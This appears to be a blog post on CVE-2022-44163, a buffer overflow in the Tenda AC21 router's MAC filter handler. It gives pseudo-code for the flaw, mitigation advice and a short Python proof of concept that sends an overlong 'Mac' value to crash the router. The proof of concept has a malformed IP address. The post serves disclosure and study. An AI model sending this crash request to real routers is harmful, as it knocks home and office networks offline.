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Introduction

In late 2022, security researchers discovered a serious vulnerability in the Tenda AC21 router firmware version V16.03.08.15. The security hole, tracked as CVE-2022-44163, is a Buffer Overflow bug inside the formSetMacFilterCfg function. If exploited, attackers can take control of your network device, leading to serious consequences like executing malicious code, disabling your internet, or stealing data.

This post will break down what exactly the vulnerability is, how it can be exploited, plus example exploit code and reference links for your own research.

What is Buffer Overflow?

A buffer overflow happens when more data is sent to a program section (buffer) than it can handle. If a router doesn’t properly check inputs, an attacker can overflow the buffer and modify how the device works, even running their own code.

The Vulnerability: formSetMacFilterCfg in Tenda AC21

In the firmware version V16.03.08.15 of Tenda AC21, the web interface includes a function called formSetMacFilterCfg used to configure MAC address filtering. The problem? It doesn't check how much data is supplied via POST requests.

The underlying function fails to check the length of the "Mac" parameter

//pseudo-code
void formSetMacFilterCfg(request) {
    char Mac[64];
    strcpy(Mac, request->Mac);  // NO length check!
    // ... rest of code
}

If an attacker sends a *very long* string for the Mac value, it will overwrite data beyond the buffer.

Entry Point

Anyone with access to the router's web interface (often accessible from the local network, or even from the WAN if remote management is enabled) can target this vulnerability.

How Is It Exploited?

A crafted HTTP POST request with an overlong Mac parameter can crash the router or run injected code. This is classic buffer overflow exploitation: after overflowing the buffer, the attacker can plant shellcode or change execution to their payload, gaining control.

Exploit PoC (Proof-of-Concept) — For Research

Here’s a simple Python snippet to trigger the overflow (this does NOT contain an actual reverse shell payload):

import requests

target_ip = "192.168..1"   # Change to your router IP
url = f"http://{target_ip}/goform/formSetMacFilterCfg";

# Create payload: 200 'A's, overflows the buffer
payload = "A" * 200  

data = {
    "Mac": payload,
    # Add legit fields if needed to pass other checks
    "DeviceName": "test",
}

r = requests.post(url, data=data)
print("Status:", r.status_code)
if r.ok:
    print("Sent payload, check if router crashed or restarted!")

Replace target_ip accordingly. If the router restarts, becomes unresponsive, or behaves abnormally, the exploit likely worked.

Denial of Service: The immediate effect is likely a crash or reboot.

- Remote Code Execution: Advanced attackers might further exploit this to run arbitrary code, eg. implanting malware or opening backdoors.

Who’s at Risk?

Any user with a Tenda AC21 router running V16.03.08.15 is at risk, especially if administration is possible from the outside.

Fixes & Mitigation

- Upgrade Firmware: Tenda has reportedly fixed this in later firmware. Always keep your router firmware up-to-date.

Technical References

- CVE Details: CVE-2022-44163
- GitHub PoC/Writeup (by external researchers)
- Tenda Official Firmware Download
- Exploit-DB entry (if available) (search for CVE-2022-44163)

Conclusion

The CVE-2022-44163 vulnerability in the Tenda AC21 affects a common router used in homes and offices around the world. The lack of proper input validation in formSetMacFilterCfg opens the door to simple buffer overflow attacks.

If you use a Tenda AC21, make sure to update your firmware *now* and secure your network. For researchers, this is a great case study in how careless coding can compromise everyday tech.

*Stay secure!*

*(Content written exclusively for your request. Reproduction only with permission.)*

Timeline

Published on: 11/21/2022 16:15:00 UTC
Last modified on: 11/22/2022 01:09:00 UTC